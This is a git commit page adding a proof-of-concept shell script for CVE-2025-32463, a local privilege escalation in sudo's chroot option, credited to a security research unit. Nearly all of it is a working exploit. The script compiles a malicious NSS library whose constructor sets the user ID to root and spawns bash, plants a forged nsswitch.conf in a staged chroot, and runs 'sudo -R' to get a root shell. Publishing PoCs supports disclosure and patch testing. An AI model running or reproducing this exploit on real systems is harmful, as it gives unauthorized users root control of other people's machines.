Add PoC for CVE-2025-32463 Sudo chroot EoP
This commit is contained in:
commit
a2edc57cb8
3 changed files with 65 additions and 0 deletions
27
sudo-chwoot.sh
Normal file
27
sudo-chwoot.sh
Normal file
|
|
@ -0,0 +1,27 @@
|
|||
#!/bin/bash
|
||||
# sudo-chwoot.sh
|
||||
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
|
||||
# @ Stratascale Cyber Research Unit (CRU)
|
||||
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
|
||||
cd ${STAGE?} || exit 1
|
||||
|
||||
cat > woot1337.c<<EOF
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((constructor)) void woot(void) {
|
||||
setreuid(0,0);
|
||||
setregid(0,0);
|
||||
chdir("/");
|
||||
execl("/bin/bash", "/bin/bash", NULL);
|
||||
}
|
||||
EOF
|
||||
|
||||
mkdir -p woot/etc libnss_
|
||||
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
|
||||
cp /etc/group woot/etc
|
||||
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
|
||||
|
||||
echo "woot!"
|
||||
sudo -R woot woot
|
||||
rm -rf ${STAGE?}
|
||||
Loading…
Add table
Add a link
Reference in a new issue